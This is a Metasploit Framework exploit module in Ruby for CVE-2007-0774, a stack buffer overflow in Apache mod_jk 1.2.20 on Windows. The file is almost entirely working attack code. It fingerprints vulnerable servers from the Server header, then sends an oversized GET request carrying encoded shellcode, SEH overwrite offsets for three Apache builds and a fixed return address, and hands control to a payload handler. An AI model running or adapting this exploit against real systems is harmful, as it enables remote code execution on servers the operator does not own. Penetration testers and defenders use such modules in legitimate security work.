##
# $Id: apache_modjk_overflow.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',
'Description' => %q{
This is a stack buffer overflow exploit for mod_jk 1.2.20.
Should work on any Win32 OS.
},
'Author' => 'Nicob <nicob[at]nicob.net>',
'Version' => '$Revision: 9929 $',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-0774' ],
[ 'OSVDB', '33855' ],
[ 'BID', '22791' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 02 2007'))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
print_status("Apache version detected : #{m[1]}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
uri_start = "GET /"
uri_end = ".html HTTP/1.0\r\n\r\n"
sc_base = 16
shellcode = payload.encoded
sploit = rand_text_alphanumeric(5001)
sploit[sc_base, shellcode.length] = shellcode
# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
# 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.20
[ 4343, 4407, 4423 ].each { |seh_offset|
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "\xeb\xf9"
sploit[seh_offset , 4] = [ target.ret ].pack('V')
}
print_status("Trying target #{target.name}...")
sock.put(uri_start + sploit + uri_end)
resp = sock.get_once
if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
end
handler
disconnect
end
end